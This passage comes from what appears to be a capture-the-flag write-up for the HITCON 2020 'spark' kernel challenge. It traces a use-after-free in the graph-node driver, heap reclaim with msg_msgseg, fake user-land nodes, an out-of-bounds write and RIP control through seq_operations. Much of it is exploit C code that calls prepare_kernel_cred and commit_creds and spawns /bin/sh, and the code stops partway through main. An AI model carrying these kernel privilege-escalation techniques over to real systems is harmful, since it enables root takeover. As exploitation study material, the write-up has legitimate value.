&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_link&lt;/span&gt;(fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;], &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;build-fake-node&#34;&gt;Build fake node&lt;/h3&gt;
&lt;p&gt;The structure of node and linked list node is like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; target;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; weight;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; ref_cnt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; __padding_0;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; start_lock[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; is_finalized;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; __padding_1;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; nb_lock[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; link_cnt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx_in_table;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_table_t&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; node_table;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;spark_node_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the invalid values in &lt;code&gt;spark_node_t&lt;/code&gt; may cause crash. And with several tries I found if &lt;code&gt;start_lock&lt;/code&gt; is zeros and bk and fd is correctly set, crash does not occurs.&lt;/p&gt;
&lt;p&gt;So, I try finding proper object which can control UAF object and I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.
It allocated by user-defined length and user&amp;rsquo;s data. And the best thing is it can be fully controlled by user!! (except first 8 bytes).
Because the first 8 bytes of &lt;code&gt;spark_node_t&lt;/code&gt; is index of each node, it can be set any value.&lt;/p&gt;
&lt;p&gt;Now we can control the UAF node by &lt;code&gt;struct msg_msgseg&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;prevent-crash-while-finalize&#34;&gt;Prevent crash while finalize&lt;/h4&gt;
&lt;p&gt;By using &lt;code&gt;struct msg_msgseg&lt;/code&gt; and set &lt;code&gt;start_lock&lt;/code&gt; with zeros, the crash in &lt;code&gt;mutex_lock&lt;/code&gt; can be prevented.
But there is the traversal mechanism which travel the linked nodes in &lt;code&gt;traversal&lt;/code&gt;.
The traversal ends when &lt;code&gt;&amp;amp;node-&amp;gt;bk == cur_node-&amp;gt;bk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Since we does not know the address of node, we cannot stop the traversal and this occurs the crash&amp;hellip;.
However differ my expectation, the crash does not reboot the OS and print kernel&amp;rsquo;s registers!
Morever in the kernel&amp;rsquo;s registers there is the address of UAF node (R13).&lt;/p&gt;
&lt;p&gt;With this observation, I crash the kernel several times and the address of UAF node may not be changed.
So I think I can use it.&lt;/p&gt;
&lt;p&gt;After one crashing, I set bk and fd with the value of R13+0x60 (this is R12 of panic information) and execute the program, no crash occurs in &lt;code&gt;traversal&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;make-invalid-node-table-by-finalize&#34;&gt;Make invalid node table by finalize&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;spark_node_finalize&lt;/code&gt; function makes the node table and set each linked node&amp;rsquo;s index in the table.
For example, the graph is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    B -- 10 -- D
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   / \ 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  4   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; /    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A     5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; \    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  2   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    \ |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      C -- 3 - E
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And if we request finalize on node A, the A&amp;rsquo;s &lt;code&gt;node_table&lt;/code&gt; and &lt;code&gt;idx_in_table&lt;/code&gt; of each nodes are set by following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0: A (its `idx_in_table` is 0)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: C (its `idx_in_table` is 1)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: E (its `idx_in_table` is 2)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: B (its `idx_in_table` is 3)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: D (its `idx_in_table` is 4)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;node_table&lt;/code&gt; and &lt;code&gt;idx_in_table&lt;/code&gt; is used in &lt;code&gt;spark_graph_query&lt;/code&gt; (And in this function, 8 bytes OOB write can be triggered, explained in later).&lt;/p&gt;
&lt;p&gt;Since the environment of this challenge is No-SMAP and No-SMEP and we can controll fd and bk of UAF node, we can insert fake nodes (defined in user-land) to linked list.
So for the OOB write I set fake nodes to build &lt;code&gt;node_table&lt;/code&gt; like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0: A
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: UAF node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: Fake user-land node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: Fake user-land node
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;trigger-oob-write&#34;&gt;Trigger OOB write&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;spark_graph_query&lt;/code&gt; function, there is a following routine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;temp_dists &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; node_table&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size, _GFP_IO &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_FS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_DIRECT_RECLAIM &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_KSWAPD_RECLAIM);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;bk &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; cur_node&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; ( end &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;cur_node&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk; bk &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)end; bk &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;temp_dists[bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;target&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;idx_in_table];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    dist_of_this_path &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dist_to_cur &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;weight;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; dist_of_this_path )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dist_of_this_path;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because our target (and its idx_in_table) of &lt;code&gt;node_table&lt;/code&gt; can be controlld by us, we can write &lt;code&gt;temp_dists&lt;/code&gt; with arbitrary index by setting &lt;code&gt;idx_in_table&lt;/code&gt;.
Furthermore since the weigth of bk node can be controlled by user, we can get arbitrary 8 bytes OOB write.&lt;/p&gt;
&lt;h3 id=&#34;rip-control&#34;&gt;RIP control&lt;/h3&gt;
&lt;p&gt;Since the &lt;code&gt;size&lt;/code&gt; of &lt;code&gt;node_bale&lt;/code&gt; is 4 and then the &lt;code&gt;kamlloc&lt;/code&gt; allocate 32 bytes chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source/include/linux/seq_file.h#L31&#34;&gt;&lt;code&gt;struct seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;
&lt;p&gt;We can run user-mode code via RIP control because SMEP is not enabled.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;984153267&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;984153267&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype);
int recv_msg(int msgqid, char* data, size_t size, long mtype);

int send_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, 0);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, 0);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/node&amp;#34;
#define VULN_DEV_CMD_LINK 0x4008D900
#define VULN_DEV_CMD_FINALIZE 0xD902
#define VULN_DEV_CMD_QUERY 0xC010D903
#define VULN_DEV_CMD_GET_INFO 0x8018D901

typedef struct query_t {
  int fd1;
  int fd2;
  int64_t distance;
} query_t;
typedef struct node_info_t {
  uint64_t link_cnt;
  uint64_t idx_in_weights;
  uint64_t weights_size;
} node_info_t;
typedef struct spark_link_t {
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  struct spark_node_t* target;
  uint64_t weight;
} spark_link_t;
typedef struct spark_node_table_t {
  uint64_t size;
  uint64_t capacity;
  struct spark_node_t** nodes;
} spark_node_table_t;
typedef struct spark_node_t {
  uint64_t idx;
  uint32_t ref_cnt;
  uint32_t __padding_0;
  char start_lock[32];
  uint32_t is_finalized;
  uint32_t __padding_1;
  char nb_lock[32];
  uint64_t link_cnt;
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  uint64_t idx_in_table;
  spark_node_table_t* node_table;
} spark_node_t;

static int vuln_dev_link(int fd1, int fd2, int weight);
static int vuln_dev_finalize(int fd);
static int64_t vuln_dev_query(int fd, int fd1, int fd2);
static node_info_t vuln_dev_get_info(int fd);

static int vuln_dev_link(int fd1, int fd2, int weight) {
  return ioctl(fd1, VULN_DEV_CMD_LINK,
               (uint64_t)fd2 | ((uint64_t)weight &amp;lt;&amp;lt; 32));
}
static int vuln_dev_finalize(int fd) {
  return ioctl(fd, VULN_DEV_CMD_FINALIZE);
}
static int64_t vuln_dev_query(int fd, int fd1, int fd2) {
  query_t qry = {.fd1 = fd1, .fd2 = fd2, .distance = -1};
  if (ioctl(fd, VULN_DEV_CMD_QUERY, &amp;amp;qry)) {
    return -1;
  }
  return qry.distance;
}
static node_info_t vuln_dev_get_info(int fd) {
  node_info_t info;
  ioctl(fd, VULN_DEV_CMD_GET_INFO, &amp;amp;info);
  return info;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

__attribute__((naked)) static void get_root_shell() {
  asm volatile(
      &amp;#34;mov rax, [rsp];\n&amp;#34;
      &amp;#34;sub rax, 0x3185d4;\n&amp;#34;  // rax will be kernel_base
      &amp;#34;mov r15, rax;\n&amp;#34;       // r15 will be kernel_base
      // Call prepare_kernel_cred
      &amp;#34;xor rdi, rdi;\n&amp;#34;
      &amp;#34;add rax, 0xbe9c0;\n&amp;#34;  // rax will be prepare_kernel_cred
      &amp;#34;call rax;\n&amp;#34;
      // Call commit_creds
      &amp;#34;mov rdi, rax;\n&amp;#34;
      &amp;#34;mov rax, r15;\n&amp;#34;
      &amp;#34;add rax, 0xbe550;\n&amp;#34;  // rax will be commit_creds
      &amp;#34;call rax;\n&amp;#34;
      :
      :
      : &amp;#34;rax&amp;#34;, &amp;#34;rdi&amp;#34;, &amp;#34;r15&amp;#34;, &amp;#34;memory&amp;#34;);

  restore_state();
}

int main(int argc, char* argv[]) {
  save_state();

  int fds[2];
  puts(&amp;#34;[*] Alloc 2 nodes&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(fds) / 4; ++i) {
    fds[i] = open(VULN_DEV_NAME, O_RDONLY);
  }

  puts(&amp;#34;[*] Link 2 nodes&amp;#34;);
  vuln_dev_link(fds[0], fds[1], 0);

  puts(&amp;#34;[*] Trigger UAF and build fake node and fake link&amp;#34;);
  close(fds[1]);

  char* msg_mem = malloc(0x2000);
  memset(msg_mem, &amp;#39;a&amp;#39;, 0x2000);
  memset(msg_mem + 0x1000 - 48, 0, 0x1000 + 48);

  char* fake_mem = malloc(0x1000);
  memset(fake_mem, 0, 0x1000);
  spark_node_t* fake_node_1 = (spark_node_t*)fake_mem;
  spark_node_t* fake_node_2 = (spark_node_t*)(fake_mem + sizeof(spark_node_t));
  spark_link_t* fake_link_1 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t));
  spark_link_t* fake_link_2 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      sizeof(spark_link_t));
  spark_link_t* fake_link_3 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      2 * sizeof(spark_link_t));
  spark_node_t* uaf_fake_node_data = (spark_node_t*)(msg_mem + 0x1000 - 48 - 8);

  printf(
      &amp;#34;[*] fake_node_1: %p, fake_link_1: %p, fake_node_2: %p, fake_link_2: &amp;#34;
      &amp;#34;%p\n&amp;#34;,
      fake_node_1, fake_link_1, fake_node_2, fake_link_2);

  if (argc == 2) {
    uint64_t uaf_fake_node_addr =
        strtoull(argv[1], NULL, 16);  // R12(==R13+0x60) of panic
    uaf_fake_node_data-&amp;gt;ref_cnt = 3;
    uaf_fake_node_data-&amp;gt;idx_in_table = 0xdeadbeef;
    uaf_fake_node_data-&amp;gt;bk = (spark_link_t*)fake_link_1;
    uaf_fake_node_data-&amp;gt;fd = (spark_link_t*)fake_link_2;

    fake_link_1-&amp;gt;target = fake_node_1;
    fake_link_1-&amp;gt;bk = (spark_link_t*)fake_link_2;
    fake_link_1-&amp;gt;fd = (spark_link_t*)uaf_fake_node_addr;

    fake_link_2-&amp;gt;target = fake_node_2;
    fake_link_2-&amp;gt;bk = (spark_link_t*)uaf_fake_node_addr;
    fake_link_2-&amp;gt;fd = (spark_link_t*)fake_node_1;

    fake_node_1-&amp;gt;idx = 0xdeadbeef;
    fake_node_1-&amp;gt;ref_cnt = 3;
    fake_node_1-&amp;gt;is_finalized = 0;
    fake_node_1-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
    fake_node_1-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_1;

    fake_node_2-&amp;gt;idx = 0xcafebebe;
    fake_node_2-&amp;gt;ref_cnt = 3;
    fake_node_2-&amp;gt;is_finalized = 0;
